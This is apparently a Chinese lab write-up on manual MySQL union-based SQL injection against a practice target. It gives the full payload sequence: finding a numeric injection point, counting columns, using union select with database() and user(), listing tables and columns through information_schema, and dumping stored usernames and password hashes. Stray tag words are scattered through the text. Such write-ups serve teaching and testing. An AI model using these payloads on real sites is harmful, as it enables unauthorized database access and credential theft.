Mysql手工注入

实验环境:墨者学院Mysql手工注入漏洞测试靶场
后台源码没有进行任何字符过滤。mysql

首先进入靶场环境

先用admin登录试试

果真不行,这时看到用户登陆下方有一个停机维护通知,点进去瞅瞅

看到这里连接上有id = 1,怀疑这里会有注入点。sql

判断注入点

先简单判断是否是字符型注入点,使用单引号闭合语句,注释后面的语句数据库

?id = 1'--+


发现页面有异常,可能不是字符型,再试试数字型注入函数

?id = 1 and 1 = 1


发现and 1 = 1没有返回异常,再进一步进行判断测试

?id = 1 and 1 = 2


页面出现异常,说明这里存在数字型注入点加密

猜解字段数

发现存在注入点以后使用order by语句判断字段的数目。操作系统

?id=1 order by 3


先试一下是否是3列,发现没有报错,说明至少存在3列,接着猜解。

尝试到5发现报错了,由于字段没有5列,使用order by时没法根据第5列排序,因此出错,由此判断字段数目是4.3d

联合查询

由于猜解出来的字段数是4,因此联合查询的语句应该这么写?id=1 union select 1,2,3,4,但由于这个语句是成立的,为了让页面爆出咱们须要的字段,这里就须要构造一个错误的语句,让数据库报错时返回咱们须要的信息。code

?id=-1 union select 1,2,3,4


能够看到这里页面上爆出了2和3两个数字,说明2和3两个数字对应当前数据表的两个字段会回显到页面上的,这样就能够根据2,3两个回显位查询一些咱们须要的信息。
经常使用的Mysql系统函数有:orm

version()            #MySQL版本
user()               #数据库用户名
database()           #数据库名
@@datadir            #数据库路径
@@version_compile_os #操做系统版本

好比查询当前的数据库名称和当前用户。

?id=-1 union select 1,database(),user(),4


这样咱们就成功查询到当前数据库,接着找这个数据库里的数据表。

查询数据表

补充1:数据库关键库
这里须要使用到数据库中一个重要的库information_schema,这个库下面的schemadata表中存放着全部数据库的信息,其中schema_name列中保存着全部数据库名,tables表中存放着全部数据表的信息,其中table_schema列存放着数据库名,table_name列存放着数据表名,columns表中存放着全部数据表的全部列信息,其中column_name存放着全部列名,table_name存放着表名。
补充2:concat函数的用法

1.concat(str1,str2)
将多个结果一行返回。若有任何一个参数为NULL ,则返回值为 NULL。

mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

mysql> select concat(1,2,3);
+---------------+
| concat(1,2,3) |
+---------------+
| 123           |
+---------------+
1 row in set (0.00 sec)

2.concat_ws(separator,str1,str2)
concat_ws是concat()的特殊形式。第一个参数是其它参数的分隔符,分隔符能够是一个字符串,也能够是其它参数。

mysql> select concat_ws('~',1,2,3);
+----------------------+
| concat_ws('~',1,2,3) |
+----------------------+
| 1~2~3                |
+----------------------+
1 row in set (0.00 sec)

3.group_concat完整语法以下,默认使用逗号分隔多个结果:
group_concat( [distinct] 要链接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_name = database()


这样就查询到当前数据库里面有两个数据表,分别为StormGroup_member,notice

查询列名

?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'


查询到有这个表有四个字段id,name,password,status

查询数据

根据上面查询到的四个字段查询数据

?id=-1 union select 1,concat_ws('~',id,name,password,status),3,4 from StormGroup_member


成功查到帐号密码,不过这个密码好像是加密的,先进行解密

使用这个帐号密码登录试试
最后尴尬的一幕出现了(/哭)。

相关文章
相关标签/搜索